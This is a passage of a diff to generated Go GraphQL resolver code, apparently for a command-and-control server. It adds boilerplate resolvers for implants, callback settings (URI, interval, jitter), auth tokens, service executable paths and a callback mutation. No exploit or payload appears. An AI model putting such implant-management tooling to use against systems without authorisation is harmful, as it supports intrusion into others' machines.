(interface{}, error) { ctx = rctx // use context from middleware stack in children - return ec.resolvers.Mutation().CreateCredential(rctx, args["credential"].(CreateCredentialInput)) + return obj.SessionID, nil }) if err != nil { ec.Error(ctx, err) @@ -2264,12 +2542,12 @@ func (ec *executionContext) _Mutation_createCredential(ctx context.Context, fiel } return graphql.Null } - res := resTmp.(*ent.Credential) + res := resTmp.(string) fc.Result = res - return ec.marshalNCredential2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐCredential(ctx, field.Selections, res) + return ec.marshalNString2string(ctx, field.Selections, res) } -func (ec *executionContext) _PageInfo_hasNextPage(ctx context.Context, field graphql.CollectedField, obj *ent.PageInfo) (ret graphql.Marshaler) { +func (ec *executionContext) _Implant_processName(ctx context.Context, field graphql.CollectedField, obj *ent.Implant) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2277,7 +2555,7 @@ func (ec *executionContext) _PageInfo_hasNextPage(ctx context.Context, field gra } }() fc := &graphql.FieldContext{ - Object: "PageInfo", + Object: "Implant", Field: field, Args: nil, IsMethod: false, @@ -2287,24 +2565,21 @@ func (ec *executionContext) _PageInfo_hasNextPage(ctx context.Context, field gra ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.HasNextPage, nil + return obj.ProcessName, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { - if !graphql.HasFieldError(ctx, fc) { - ec.Errorf(ctx, "must not be null") - } return graphql.Null } - res := resTmp.(bool) + res := resTmp.(string) fc.Result = res - return ec.marshalNBoolean2bool(ctx, field.Selections, res) + return ec.marshalOString2string(ctx, field.Selections, res) } -func (ec *executionContext) _PageInfo_hasPreviousPage(ctx context.Context, field graphql.CollectedField, obj *ent.PageInfo) (ret graphql.Marshaler) { +func (ec *executionContext) _Implant_target(ctx context.Context, field graphql.CollectedField, obj *ent.Implant) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2312,17 +2587,17 @@ func (ec *executionContext) _PageInfo_hasPreviousPage(ctx context.Context, field } }() fc := &graphql.FieldContext{ - Object: "PageInfo", + Object: "Implant", Field: field, Args: nil, - IsMethod: false, + IsMethod: true, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.HasPreviousPage, nil + return obj.Target(ctx) }) if err != nil { ec.Error(ctx, err) @@ -2334,12 +2609,12 @@ func (ec *executionContext) _PageInfo_hasPreviousPage(ctx context.Context, field } return graphql.Null } - res := resTmp.(bool) + res := resTmp.(*ent.Target) fc.Result = res - return ec.marshalNBoolean2bool(ctx, field.Selections, res) + return ec.marshalNTarget2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐTarget(ctx, field.Selections, res) } -func (ec *executionContext) _PageInfo_startCursor(ctx context.Context, field graphql.CollectedField, obj *ent.PageInfo) (ret graphql.Marshaler) { +func (ec *executionContext) _Implant_config(ctx context.Context, field graphql.CollectedField, obj *ent.Implant) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2347,31 +2622,34 @@ func (ec *executionContext) _PageInfo_startCursor(ctx context.Context, field gra } }() fc := &graphql.FieldContext{ - Object: "PageInfo", + Object: "Implant", Field: field, Args: nil, - IsMethod: false, + IsMethod: true, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.StartCursor, nil + return obj.Config(ctx) }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } - res := resTmp.(*ent.Cursor) + res := resTmp.(*ent.ImplantConfig) fc.Result = res - return ec.marshalOCursor2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐCursor(ctx, field.Selections, res) + return ec.marshalNImplantConfig2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantConfig(ctx, field.Selections, res) } -func (ec *executionContext) _PageInfo_endCursor(ctx context.Context, field graphql.CollectedField, obj *ent.PageInfo) (ret graphql.Marshaler) { +func (ec *executionContext) _ImplantCallbackConfig_id(ctx context.Context, field graphql.CollectedField, obj *ent.ImplantCallbackConfig) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2379,7 +2657,7 @@ func (ec *executionContext) _PageInfo_endCursor(ctx context.Context, field graph } }() fc := &graphql.FieldContext{ - Object: "PageInfo", + Object: "ImplantCallbackConfig", Field: field, Args: nil, IsMethod: false, @@ -2389,21 +2667,24 @@ func (ec *executionContext) _PageInfo_endCursor(ctx context.Context, field graph ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.EndCursor, nil + return obj.ID, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } - res := resTmp.(*ent.Cursor) + res := resTmp.(int) fc.Result = res - return ec.marshalOCursor2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐCursor(ctx, field.Selections, res) + return ec.marshalNID2int(ctx, field.Selections, res) } -func (ec *executionContext) _Query_node(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { +func (ec *executionContext) _ImplantCallbackConfig_uri(ctx context.Context, field graphql.CollectedField, obj *ent.ImplantCallbackConfig) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2411,38 +2692,34 @@ func (ec *executionContext) _Query_node(ctx context.Context, field graphql.Colle } }() fc := &graphql.FieldContext{ - Object: "Query", + Object: "ImplantCallbackConfig", Field: field, Args: nil, - IsMethod: true, - IsResolver: true, + IsMethod: false, + IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) - rawArgs := field.ArgumentMap(ec.Variables) - args, err := ec.field_Query_node_args(ctx, rawArgs) - if err != nil { - ec.Error(ctx, err) - return graphql.Null - } - fc.Args = args resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return ec.resolvers.Query().Node(rctx, args["id"].(int)) + return obj.URI, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } - res := resTmp.(ent.Noder) + res := resTmp.(string) fc.Result = res - return ec.marshalONode2githubᚗcomᚋkcarrettoᚋrealmᚋentᚐNoder(ctx, field.Selections, res) + return ec.marshalNString2string(ctx, field.Selections, res) } -func (ec *executionContext) _Query_nodes(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { +func (ec *executionContext) _ImplantCallbackConfig_priority(ctx context.Context, field graphql.CollectedField, obj *ent.ImplantCallbackConfig) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2450,24 +2727,17 @@ func (ec *executionContext) _Query_nodes(ctx context.Context, field graphql.Coll } }() fc := &graphql.FieldContext{ - Object: "Query", + Object: "ImplantCallbackConfig", Field: field, Args: nil, - IsMethod: true, - IsResolver: true, + IsMethod: false, + IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) - rawArgs := field.ArgumentMap(ec.Variables) - args, err := ec.field_Query_nodes_args(ctx, rawArgs) - if err != nil { - ec.Error(ctx, err) - return graphql.Null - } - fc.Args = args resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return ec.resolvers.Query().Nodes(rctx, args["ids"].([]int)) + return obj.Priority, nil }) if err != nil { ec.Error(ctx, err) @@ -2479,12 +2749,12 @@ func (ec *executionContext) _Query_nodes(ctx context.Context, field graphql.Coll } return graphql.Null } - res := resTmp.([]ent.Noder) + res := resTmp.(int) fc.Result = res - return ec.marshalNNode2ᚕgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐNoder(ctx, field.Selections, res) + return ec.marshalNInt2int(ctx, field.Selections, res) } -func (ec *executionContext) _Query_targets(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { +func (ec *executionContext) _ImplantCallbackConfig_timeout(ctx context.Context, field graphql.CollectedField, obj *ent.ImplantCallbackConfig) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2492,38 +2762,34 @@ func (ec *executionContext) _Query_targets(ctx context.Context, field graphql.Co } }() fc := &graphql.FieldContext{ - Object: "Query", + Object: "ImplantCallbackConfig", Field: field, Args: nil, - IsMethod: true, - IsResolver: true, + IsMethod: false, + IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) - rawArgs := field.ArgumentMap(ec.Variables) - args, err := ec.field_Query_targets_args(ctx, rawArgs) - if err != nil { - ec.Error(ctx, err) - return graphql.Null - } - fc.Args = args resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return ec.resolvers.Query().Targets(rctx, args["after"].(*ent.Cursor), args["first"].(*int), args["before"].(*ent.Cursor), args["last"].(*int), args["orderBy"].(*ent.TargetOrder), args["where"].(*ent.TargetWhereInput)) + return obj.Timeout, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } - res := resTmp.(*ent.TargetConnection) + res := resTmp.(int) fc.Result = res - return ec.marshalOTargetConnection2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐTargetConnection(ctx, field.Selections, res) + return ec.marshalNInt2int(ctx, field.Selections, res) } -func (ec *executionContext) _Query_credentials(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { +func (ec *executionContext) _ImplantCallbackConfig_interval(ctx context.Context, field graphql.CollectedField, obj *ent.ImplantCallbackConfig) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2531,38 +2797,34 @@ func (ec *executionContext) _Query_credentials(ctx context.Context, field graphq } }() fc := &graphql.FieldContext{ - Object: "Query", + Object: "ImplantCallbackConfig", Field: field, Args: nil, - IsMethod: true, - IsResolver: true, + IsMethod: false, + IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) - rawArgs := field.ArgumentMap(ec.Variables) - args, err := ec.field_Query_credentials_args(ctx, rawArgs) - if err != nil { - ec.Error(ctx, err) - return graphql.Null - } - fc.Args = args resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return ec.resolvers.Query().Credentials(rctx, args["after"].(*ent.Cursor), args["first"].(*int), args["before"].(*ent.Cursor), args["last"].(*int), args["orderBy"].(*ent.CredentialOrder), args["where"].(*ent.CredentialWhereInput)) + return obj.Interval, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } - res := resTmp.(*ent.CredentialConnection) + res := resTmp.(int) fc.Result = res - return ec.marshalOCredentialConnection2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐCredentialConnection(ctx, field.Selections, res) + return ec.marshalNInt2int(ctx, field.Selections, res) } -func (ec *executionContext) _Query_files(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { +func (ec *executionContext) _ImplantCallbackConfig_jitter(ctx context.Context, field graphql.CollectedField, obj *ent.ImplantCallbackConfig) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2570,38 +2832,34 @@ func (ec *executionContext) _Query_files(ctx context.Context, field graphql.Coll } }() fc := &graphql.FieldContext{ - Object: "Query", + Object: "ImplantCallbackConfig", Field: field, Args: nil, - IsMethod: true, - IsResolver: true, + IsMethod: false, + IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) - rawArgs := field.ArgumentMap(ec.Variables) - args, err := ec.field_Query_files_args(ctx, rawArgs) - if err != nil { - ec.Error(ctx, err) - return graphql.Null - } - fc.Args = args resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return ec.resolvers.Query().Files(rctx, args["after"].(*ent.Cursor), args["first"].(*int), args["before"].(*ent.Cursor), args["last"].(*int), args["orderBy"].(*ent.FileOrder), args["where"].(*ent.FileWhereInput)) + return obj.Jitter, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } - res := resTmp.(*ent.FileConnection) + res := resTmp.(int) fc.Result = res - return ec.marshalOFileConnection2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐFileConnection(ctx, field.Selections, res) + return ec.marshalNInt2int(ctx, field.Selections, res) } -func (ec *executionContext) _Query___type(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { +func (ec *executionContext) _ImplantConfig_id(ctx context.Context, field graphql.CollectedField, obj *ent.ImplantConfig) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2609,38 +2867,34 @@ func (ec *executionContext) _Query___type(ctx context.Context, field graphql.Col } }() fc := &graphql.FieldContext{ - Object: "Query", + Object: "ImplantConfig", Field: field, Args: nil, - IsMethod: true, + IsMethod: false, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) - rawArgs := field.ArgumentMap(ec.Variables) - args, err := ec.field_Query___type_args(ctx, rawArgs) - if err != nil { - ec.Error(ctx, err) - return graphql.Null - } - fc.Args = args resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return ec.introspectType(args["name"].(string)) + return obj.ID, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } - res := resTmp.(*introspection.Type) + res := resTmp.(int) fc.Result = res - return ec.marshalO__Type2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐType(ctx, field.Selections, res) + return ec.marshalNID2int(ctx, field.Selections, res) } -func (ec *executionContext) _Query___schema(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { +func (ec *executionContext) _ImplantConfig_name(ctx context.Context, field graphql.CollectedField, obj *ent.ImplantConfig) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2648,31 +2902,34 @@ func (ec *executionContext) _Query___schema(ctx context.Context, field graphql.C } }() fc := &graphql.FieldContext{ - Object: "Query", + Object: "ImplantConfig", Field: field, Args: nil, - IsMethod: true, + IsMethod: false, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return ec.introspectSchema() + return obj.Name, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } - res := resTmp.(*introspection.Schema) + res := resTmp.(string) fc.Result = res - return ec.marshalO__Schema2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐSchema(ctx, field.Selections, res) + return ec.marshalNString2string(ctx, field.Selections, res) } -func (ec *executionContext) _Target_id(ctx context.Context, field graphql.CollectedField, obj *ent.Target) (ret graphql.Marshaler) { +func (ec *executionContext) _ImplantConfig_authToken(ctx context.Context, field graphql.CollectedField, obj *ent.ImplantConfig) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2680,7 +2937,7 @@ func (ec *executionContext) _Target_id(ctx context.Context, field graphql.Collec } }() fc := &graphql.FieldContext{ - Object: "Target", + Object: "ImplantConfig", Field: field, Args: nil, IsMethod: false, @@ -2690,7 +2947,7 @@ func (ec *executionContext) _Target_id(ctx context.Context, field graphql.Collec ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.ID, nil + return obj.AuthToken, nil }) if err != nil { ec.Error(ctx, err) @@ -2702,12 +2959,12 @@ func (ec *executionContext) _Target_id(ctx context.Context, field graphql.Collec } return graphql.Null } - res := resTmp.(int) + res := resTmp.(string) fc.Result = res - return ec.marshalNID2int(ctx, field.Selections, res) + return ec.marshalNString2string(ctx, field.Selections, res) } -func (ec *executionContext) _Target_name(ctx context.Context, field graphql.CollectedField, obj *ent.Target) (ret graphql.Marshaler) { +func (ec *executionContext) _ImplantConfig_serviceConfigs(ctx context.Context, field graphql.CollectedField, obj *ent.ImplantConfig) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2715,34 +2972,31 @@ func (ec *executionContext) _Target_name(ctx context.Context, field graphql.Coll } }() fc := &graphql.FieldContext{ - Object: "Target", + Object: "ImplantConfig", Field: field, Args: nil, - IsMethod: false, + IsMethod: true, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Name, nil + return obj.ServiceConfigs(ctx) }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { - if !graphql.HasFieldError(ctx, fc) { - ec.Errorf(ctx, "must not be null") - } return graphql.Null } - res := resTmp.(string) + res := resTmp.([]*ent.ImplantServiceConfig) fc.Result = res - return ec.marshalNString2string(ctx, field.Selections, res) + return ec.marshalOImplantServiceConfig2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantServiceConfigᚄ(ctx, field.Selections, res) } -func (ec *executionContext) _Target_forwardConnectIP(ctx context.Context, field graphql.CollectedField, obj *ent.Target) (ret graphql.Marshaler) { +func (ec *executionContext) _ImplantConfig_callbackConfigs(ctx context.Context, field graphql.CollectedField, obj *ent.ImplantConfig) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2750,34 +3004,31 @@ func (ec *executionContext) _Target_forwardConnectIP(ctx context.Context, field } }() fc := &graphql.FieldContext{ - Object: "Target", + Object: "ImplantConfig", Field: field, Args: nil, - IsMethod: false, + IsMethod: true, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.ForwardConnectIP, nil + return obj.CallbackConfigs(ctx) }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { - if !graphql.HasFieldError(ctx, fc) { - ec.Errorf(ctx, "must not be null") - } return graphql.Null } - res := resTmp.(string) + res := resTmp.([]*ent.ImplantCallbackConfig) fc.Result = res - return ec.marshalNString2string(ctx, field.Selections, res) + return ec.marshalOImplantCallbackConfig2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantCallbackConfigᚄ(ctx, field.Selections, res) } -func (ec *executionContext) _Target_credentials(ctx context.Context, field graphql.CollectedField, obj *ent.Target) (ret graphql.Marshaler) { +func (ec *executionContext) _ImplantServiceConfig_id(ctx context.Context, field graphql.CollectedField, obj *ent.ImplantServiceConfig) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2785,31 +3036,34 @@ func (ec *executionContext) _Target_credentials(ctx context.Context, field graph } }() fc := &graphql.FieldContext{ - Object: "Target", + Object: "ImplantServiceConfig", Field: field, Args: nil, - IsMethod: true, + IsMethod: false, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Credentials(ctx) + return obj.ID, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } - res := resTmp.([]*ent.Credential) + res := resTmp.(int) fc.Result = res - return ec.marshalOCredential2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐCredentialᚄ(ctx, field.Selections, res) + return ec.marshalNID2int(ctx, field.Selections, res) } -func (ec *executionContext) _TargetConnection_totalCount(ctx context.Context, field graphql.CollectedField, obj *ent.TargetConnection) (ret graphql.Marshaler) { +func (ec *executionContext) _ImplantServiceConfig_name(ctx context.Context, field graphql.CollectedField, obj *ent.ImplantServiceConfig) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2817,7 +3071,7 @@ func (ec *executionContext) _TargetConnection_totalCount(ctx context.Context, fi } }() fc := &graphql.FieldContext{ - Object: "TargetConnection", + Object: "ImplantServiceConfig", Field: field, Args: nil, IsMethod: false, @@ -2827,7 +3081,7 @@ func (ec *executionContext) _TargetConnection_totalCount(ctx context.Context, fi ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.TotalCount, nil + return obj.Name, nil }) if err != nil { ec.Error(ctx, err) @@ -2839,12 +3093,12 @@ func (ec *executionContext) _TargetConnection_totalCount(ctx context.Context, fi } return graphql.Null } - res := resTmp.(int) + res := resTmp.(string) fc.Result = res - return ec.marshalNInt2int(ctx, field.Selections, res) + return ec.marshalNString2string(ctx, field.Selections, res) } -func (ec *executionContext) _TargetConnection_pageInfo(ctx context.Context, field graphql.CollectedField, obj *ent.TargetConnection) (ret graphql.Marshaler) { +func (ec *executionContext) _ImplantServiceConfig_description(ctx context.Context, field graphql.CollectedField, obj *ent.ImplantServiceConfig) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2852,7 +3106,7 @@ func (ec *executionContext) _TargetConnection_pageInfo(ctx context.Context, fiel } }() fc := &graphql.FieldContext{ - Object: "TargetConnection", + Object: "ImplantServiceConfig", Field: field, Args: nil, IsMethod: false, @@ -2862,7 +3116,7 @@ func (ec *executionContext) _TargetConnection_pageInfo(ctx context.Context, fiel ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.PageInfo, nil + return obj.Description, nil }) if err != nil { ec.Error(ctx, err) @@ -2874,12 +3128,12 @@ func (ec *executionContext) _TargetConnection_pageInfo(ctx context.Context, fiel } return graphql.Null } - res := resTmp.(ent.PageInfo) + res := resTmp.(string) fc.Result = res - return ec.marshalNPageInfo2githubᚗcomᚋkcarrettoᚋrealmᚋentᚐPageInfo(ctx, field.Selections, res) + return ec.marshalNString2string(ctx, field.Selections, res) } -func (ec *executionContext) _TargetConnection_edges(ctx context.Context, field graphql.CollectedField, obj *ent.TargetConnection) (ret graphql.Marshaler) { +func (ec *executionContext) _ImplantServiceConfig_executablePath(ctx context.Context, field graphql.CollectedField, obj *ent.ImplantServiceConfig) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2887,7 +3141,7 @@ func (ec *executionContext) _TargetConnection_edges(ctx context.Context, field g } }() fc := &graphql.FieldContext{ - Object: "TargetConnection", + Object: "ImplantServiceConfig", Field: field, Args: nil, IsMethod: false, @@ -2897,21 +3151,24 @@ func (ec *executionContext) _TargetConnection_edges(ctx context.Context, field g ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Edges, nil + return obj.ExecutablePath, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } - res := resTmp.([]*ent.TargetEdge) + res := resTmp.(string) fc.Result = res - return ec.marshalOTargetEdge2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐTargetEdge(ctx, field.Selections, res) + return ec.marshalNString2string(ctx, field.Selections, res) } -func (ec *executionContext) _TargetEdge_node(ctx context.Context, field graphql.CollectedField, obj *ent.TargetEdge) (ret graphql.Marshaler) { +func (ec *executionContext) _Mutation_callback(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2919,31 +3176,41 @@ func (ec *executionContext) _TargetEdge_node(ctx context.Context, field graphql. } }() fc := &graphql.FieldContext{ - Object: "TargetEdge", + Object: "Mutation", Field: field, Args: nil, - IsMethod: false, - IsResolver: false, + IsMethod: true, + IsResolver: true, } ctx = graphql.WithFieldContext(ctx, fc) + rawArgs := field.ArgumentMap(ec.Variables) + args, err := ec.field_Mutation_callback_args(ctx, rawArgs) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + fc.Args = args resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Node, nil + return ec.resolvers.Mutation().Callback(rctx, args["info"].(CallbackInput)) }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } - res := resTmp.(*ent.Target) + res := resTmp.(*CallbackResponse) fc.Result = res - return ec.marshalOTarget2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐTarget(ctx, field.Selections, res) + return ec.marshalNCallbackResponse2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋgraphqlᚐCallbackResponse(ctx, field.Selections, res) } -func (ec *executionContext) _TargetEdge_cursor(ctx context.Context, field graphql.CollectedField, obj *ent.TargetEdge) (ret graphql.Marshaler) { +func (ec *executionContext) _Mutation_createTarget(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2951,17 +3218,24 @@ func (ec *executionContext) _TargetEdge_cursor(ctx context.Context, field graphq } }() fc := &graphql.FieldContext{ - Object: "TargetEdge", + Object: "Mutation", Field: field, Args: nil, - IsMethod: false, - IsResolver: false, + IsMethod: true, + IsResolver: true, } ctx = graphql.WithFieldContext(ctx, fc) + rawArgs := field.ArgumentMap(ec.Variables) + args, err := ec.field_Mutation_createTarget_args(ctx, rawArgs) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + fc.Args = args resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Cursor, nil + return ec.resolvers.Mutation().CreateTarget(rctx, args["target"].(CreateTargetInput)) }) if err != nil { ec.Error(ctx, err) @@ -2973,12 +3247,12 @@ func (ec *executionContext) _TargetEdge_cursor(ctx context.Context, field graphq } return graphql.Null } - res := resTmp.(ent.Cursor) + res := resTmp.(*ent.Target) fc.Result = res - return ec.marshalNCursor2githubᚗcomᚋkcarrettoᚋrealmᚋentᚐCursor(ctx, field.Selections, res) + return ec.marshalNTarget2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐTarget(ctx, field.Selections, res) } -func (ec *executionContext) ___Directive_name(ctx context.Context, field graphql.CollectedField, obj *introspection.Directive) (ret graphql.Marshaler) { +func (ec *executionContext) _Mutation_createCredential(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -2986,17 +3260,24 @@ func (ec *executionContext) ___Directive_name(ctx context.Context, field graphql } }() fc := &graphql.FieldContext{ - Object: "__Directive", + Object: "Mutation", Field: field, Args: nil, - IsMethod: false, - IsResolver: false, + IsMethod: true, + IsResolver: true, } ctx = graphql.WithFieldContext(ctx, fc) + rawArgs := field.ArgumentMap(ec.Variables) + args, err := ec.field_Mutation_createCredential_args(ctx, rawArgs) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + fc.Args = args resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Name, nil + return ec.resolvers.Mutation().CreateCredential(rctx, args["credential"].(CreateCredentialInput)) }) if err != nil { ec.Error(ctx, err) @@ -3008,12 +3289,12 @@ func (ec *executionContext) ___Directive_name(ctx context.Context, field graphql } return graphql.Null } - res := resTmp.(string) + res := resTmp.(*ent.Credential) fc.Result = res - return ec.marshalNString2string(ctx, field.Selections, res) + return ec.marshalNCredential2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐCredential(ctx, field.Selections, res) } -func (ec *executionContext) 